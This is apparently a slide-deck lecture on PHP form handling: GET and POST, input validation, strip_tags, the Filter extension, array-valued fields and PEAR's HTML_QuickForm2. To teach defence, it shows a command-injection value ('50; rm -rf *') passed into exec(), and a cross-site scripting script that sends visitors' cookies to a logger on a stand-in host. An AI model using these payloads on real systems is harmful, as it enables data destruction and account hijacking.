PHP AND WEB FORMS BY SANA MATEEN
Introduction • What makes the web so interesting and useful is its ability to disseminate information as well as collect it, the latter of which is accomplished primarily through an HTML-based form. • These forms are used to encourage site feedback, facilitate forum conversations, collect mailing and billing addresses for online orders, and much more. • But coding the HTML form is only part of what’s required to effectively accept user input; a server- side component must be ready to process the input. Using PHP for this purpose is the subject of this section. • There are two common methods for passing data from one script to another: GET and POST. • Although GET is the default, you’ll typically want to use POST because it’s capable of handling considerably more data, an important characteristic when you’re using forms to insert and modify large blocks of text. • If you use POST, any posted data sent to a PHP script must be referenced using the $_POST
Validating Form Data • These pages will show how to process PHP forms with security in mind. Proper validation of form data is important to protect your form from hackers and spammers! • The first attack results in the deletion of valuable site files, and the second attack results in the hijacking of a random user’s identity through an attack technique known as cross-site scripting. • File Deletion • To illustrate just how ugly things could get if you neglect validation of user input, suppose that your application requires that user input be passed to some sort of legacy command-line application called inventory_manager. • Executing such an application by way of PHP requires use of a command execution function such as exec() or system(), • The inventory_manager application accepts as input the SKU of a particular product and a recommendation for the number of products that should be reordered. For example, suppose the cherry cheesecake has been particularly popular lately, resulting in a rapid depletion of cherries. The pastry chef might use the application to order 50 more jars of cherries (SKU 50XCH67YU), resulting in the following call to inventory_manager: • $sku = "50XCH67YU"; $inventory = "50"; exec("/usr/bin/inventory_manager ".$sku." ".$inventory);
• Now suppose the pastry chef has become deranged from an overabundance of oven fumes and attempts to destroy the web site by passing the following string in as the recommended quantity to reorder: • 50; rm -rf * • This results in the following command being executed in exec(): • exec("/usr/bin/inventory_manager 50XCH67YU 50; rm -rf *"); • The inventory_manager application would indeed execute as intended but would be immediately followed by an attempt to recursively delete every file residing in the directory where the executing PHP script resides. • Cross-Site Scripting • There’s another type of attack that is considerably more difficult to recover from—because it involves the betrayal of users who have placed trust in the security of your web site. Known as cross-site scripting, this attack involves the insertion of malicious code into a page frequented by other users (e.g., an online bulletin board). • Merely visiting this page can result in the transmission of data to a third party’s site, which could allow the attacker to later return and impersonate the unwitting visitor. • Suppose that an online clothing retailer offers registered customers the opportunity to discuss the latest fashion trends in an electronic forum. In the company’s haste to bring the custom- built forum online, it decided to skip sanitization of user input, figuring it could take care of such matters at a later point in time. • One unscrupulous customer attempts to retrieve the session keys (stored in cookies) of other customers in order to subsequently enter their accounts. • To see just how easy it is to retrieve cookie data, navigate to a popular web site such as Yahoo! or Google and enter the following into the browser address bar:
Using JavaScript, the attacker can take advantage of unchecked input by embedding a similar command into a web page and quietly redirecting the information to some script capable of storing it in a text file or a database. The attacker then uses the forum’s comment-posting tool to add the following string to the forum page: <script> document.location = 'http://www.example.org/logger.php?cookie=' + document.cookie </script>
Stripping Tags from User Input 1. Sometimes it is best to completely strip user input of all HTML input, regardless of intent. The introduction of HTML tags into a message board could alter the display of the page, causing it to be displayed incorrectly or not at all. This problem can be eliminated by passing the user input through strip_tags(), which removes all HTML tags from a string. Its prototype follows: 2. string strip_tags(string str [, string allowed_tags])
Validating and Sanitizing Data with the Filter Extension Filter extension, you can use these new features to not only validate data such as an e- mail addresses so it meets stringent requirements, but also to sanitize data, altering it to fit specific criteria without requiring the user to take further actions. To validate data using the Filter extension, you’ll choose from one of seven available filter types, passing the type and target data to the filter_var() function. For instance, to validate an e-mail address you’ll pass the FILTER_VALIDATE_EMAIL flag as demonstrated here:
Sanitizing Data with the Filter Extension It’s also possible to use the Filter component to sanitize data, which can be useful when processing user input intended to be posted in a forum or blog comments. For instance, to remove all tags from a string, you can use the FILTER_SANITIZE_STRING:
Working with Multivalued Form Components • Multivalued form components such as checkboxes and multiple-select boxes greatly enhance your webbased data-collection capabilities because they enable the user to simultaneously select multiple values for a given form item. • For example, consider a form used to gauge a user’s computer-related interests. Specifically, you would like to ask the user to indicate those programming languages that interest him. • Using a few text fields along with a multiple-select box, this form might look similar to that shown below.
To make PHP recognize that several values may be assigned to a single form variable, you need to make a minor change to the form item name, appending a pair of square brackets to it. Therefore, instead of languages, the name would read languages[]. Once renamed, PHP will treat the posted variable just like any other array.
Taking Advantage of PEAR: HTML_QuickForm2 • Matters can quickly become complicated and error- prone when validation and more sophisticated processing enter the picture. • One such solution is the HTML_QuickForm2 package, available through the PEAR repository. • Installing HTML_QuickForm2 • To take advantage of HTML_QuickForm2’s features, you need to install it from PEAR. Because it depends on HTML_Common2, another PEAR package capable of displaying and manipulating HTML code, you need to install HTML_Common2 also, which is done automatically by passing the -onlyreqdeps flag to the install command. Note that at the time of this writing HTML_QuickForm2 is deemed to be an alpha release, so you’ll need to append -alpha to the end of the package name.
PEAR - PHP Extension and Application Repository Stig S. Bakken founded the PEAR project in 1999 to promote the re-use of code that performs common functions. The project seeks to provide a structured library of code, maintain a system for distributing code and for managing code packages, and promote a standard coding style. A PEAR package is distributed as a gzipped tar file. Each archive consists of source code written in PHP, usually in an object-oriented style. Many PEAR packages can readily be used by developers as ordinary third party code via simple include statements in PHP. More elegantly, the PEAR package manager which comes with PHP by default may be used to install PEAR packages so that the extra functionality provided by the package appears as an integrated part of the PHP installation.
Creating and Validating a Simple Form • Creating a form and validating form input is a breeze using HTML_QuickForm2. It can dramatically reduce the amount of code you need to write to perform even complex form validation, while simultaneously continuing to provide the designer with enough flexibility to stylize the form using CSS.
Php and web forms

Php and web forms

  • 1.
    PHP AND WEBFORMS BY SANA MATEEN
  • 2.
    Introduction • What makesthe web so interesting and useful is its ability to disseminate information as well as collect it, the latter of which is accomplished primarily through an HTML-based form. • These forms are used to encourage site feedback, facilitate forum conversations, collect mailing and billing addresses for online orders, and much more. • But coding the HTML form is only part of what’s required to effectively accept user input; a server- side component must be ready to process the input. Using PHP for this purpose is the subject of this section. • There are two common methods for passing data from one script to another: GET and POST. • Although GET is the default, you’ll typically want to use POST because it’s capable of handling considerably more data, an important characteristic when you’re using forms to insert and modify large blocks of text. • If you use POST, any posted data sent to a PHP script must be referenced using the $_POST
  • 4.
    Validating Form Data •These pages will show how to process PHP forms with security in mind. Proper validation of form data is important to protect your form from hackers and spammers! • The first attack results in the deletion of valuable site files, and the second attack results in the hijacking of a random user’s identity through an attack technique known as cross-site scripting. • File Deletion • To illustrate just how ugly things could get if you neglect validation of user input, suppose that your application requires that user input be passed to some sort of legacy command-line application called inventory_manager. • Executing such an application by way of PHP requires use of a command execution function such as exec() or system(), • The inventory_manager application accepts as input the SKU of a particular product and a recommendation for the number of products that should be reordered. For example, suppose the cherry cheesecake has been particularly popular lately, resulting in a rapid depletion of cherries. The pastry chef might use the application to order 50 more jars of cherries (SKU 50XCH67YU), resulting in the following call to inventory_manager: • $sku = "50XCH67YU"; $inventory = "50"; exec("/usr/bin/inventory_manager ".$sku." ".$inventory);
  • 5.
    • Now supposethe pastry chef has become deranged from an overabundance of oven fumes and attempts to destroy the web site by passing the following string in as the recommended quantity to reorder: • 50; rm -rf * • This results in the following command being executed in exec(): • exec("/usr/bin/inventory_manager 50XCH67YU 50; rm -rf *"); • The inventory_manager application would indeed execute as intended but would be immediately followed by an attempt to recursively delete every file residing in the directory where the executing PHP script resides. • Cross-Site Scripting • There’s another type of attack that is considerably more difficult to recover from—because it involves the betrayal of users who have placed trust in the security of your web site. Known as cross-site scripting, this attack involves the insertion of malicious code into a page frequented by other users (e.g., an online bulletin board). • Merely visiting this page can result in the transmission of data to a third party’s site, which could allow the attacker to later return and impersonate the unwitting visitor. • Suppose that an online clothing retailer offers registered customers the opportunity to discuss the latest fashion trends in an electronic forum. In the company’s haste to bring the custom- built forum online, it decided to skip sanitization of user input, figuring it could take care of such matters at a later point in time. • One unscrupulous customer attempts to retrieve the session keys (stored in cookies) of other customers in order to subsequently enter their accounts. • To see just how easy it is to retrieve cookie data, navigate to a popular web site such as Yahoo! or Google and enter the following into the browser address bar:
  • 6.
    Using JavaScript, theattacker can take advantage of unchecked input by embedding a similar command into a web page and quietly redirecting the information to some script capable of storing it in a text file or a database. The attacker then uses the forum’s comment-posting tool to add the following string to the forum page: <script> document.location = 'http://www.example.org/logger.php?cookie=' + document.cookie </script>
  • 7.
    Stripping Tags fromUser Input 1. Sometimes it is best to completely strip user input of all HTML input, regardless of intent. The introduction of HTML tags into a message board could alter the display of the page, causing it to be displayed incorrectly or not at all. This problem can be eliminated by passing the user input through strip_tags(), which removes all HTML tags from a string. Its prototype follows: 2. string strip_tags(string str [, string allowed_tags])
  • 8.
    Validating and SanitizingData with the Filter Extension Filter extension, you can use these new features to not only validate data such as an e- mail addresses so it meets stringent requirements, but also to sanitize data, altering it to fit specific criteria without requiring the user to take further actions. To validate data using the Filter extension, you’ll choose from one of seven available filter types, passing the type and target data to the filter_var() function. For instance, to validate an e-mail address you’ll pass the FILTER_VALIDATE_EMAIL flag as demonstrated here:
  • 10.
    Sanitizing Data withthe Filter Extension It’s also possible to use the Filter component to sanitize data, which can be useful when processing user input intended to be posted in a forum or blog comments. For instance, to remove all tags from a string, you can use the FILTER_SANITIZE_STRING:
  • 11.
    Working with MultivaluedForm Components • Multivalued form components such as checkboxes and multiple-select boxes greatly enhance your webbased data-collection capabilities because they enable the user to simultaneously select multiple values for a given form item. • For example, consider a form used to gauge a user’s computer-related interests. Specifically, you would like to ask the user to indicate those programming languages that interest him. • Using a few text fields along with a multiple-select box, this form might look similar to that shown below.
  • 12.
    To make PHPrecognize that several values may be assigned to a single form variable, you need to make a minor change to the form item name, appending a pair of square brackets to it. Therefore, instead of languages, the name would read languages[]. Once renamed, PHP will treat the posted variable just like any other array.
  • 13.
    Taking Advantage ofPEAR: HTML_QuickForm2 • Matters can quickly become complicated and error- prone when validation and more sophisticated processing enter the picture. • One such solution is the HTML_QuickForm2 package, available through the PEAR repository. • Installing HTML_QuickForm2 • To take advantage of HTML_QuickForm2’s features, you need to install it from PEAR. Because it depends on HTML_Common2, another PEAR package capable of displaying and manipulating HTML code, you need to install HTML_Common2 also, which is done automatically by passing the -onlyreqdeps flag to the install command. Note that at the time of this writing HTML_QuickForm2 is deemed to be an alpha release, so you’ll need to append -alpha to the end of the package name.
  • 14.
    PEAR - PHPExtension and Application Repository Stig S. Bakken founded the PEAR project in 1999 to promote the re-use of code that performs common functions. The project seeks to provide a structured library of code, maintain a system for distributing code and for managing code packages, and promote a standard coding style. A PEAR package is distributed as a gzipped tar file. Each archive consists of source code written in PHP, usually in an object-oriented style. Many PEAR packages can readily be used by developers as ordinary third party code via simple include statements in PHP. More elegantly, the PEAR package manager which comes with PHP by default may be used to install PEAR packages so that the extra functionality provided by the package appears as an integrated part of the PHP installation.
  • 15.
    Creating and Validatinga Simple Form • Creating a form and validating form input is a breeze using HTML_QuickForm2. It can dramatically reduce the amount of code you need to write to perform even complex form validation, while simultaneously continuing to provide the designer with enough flexibility to stylize the form using CSS.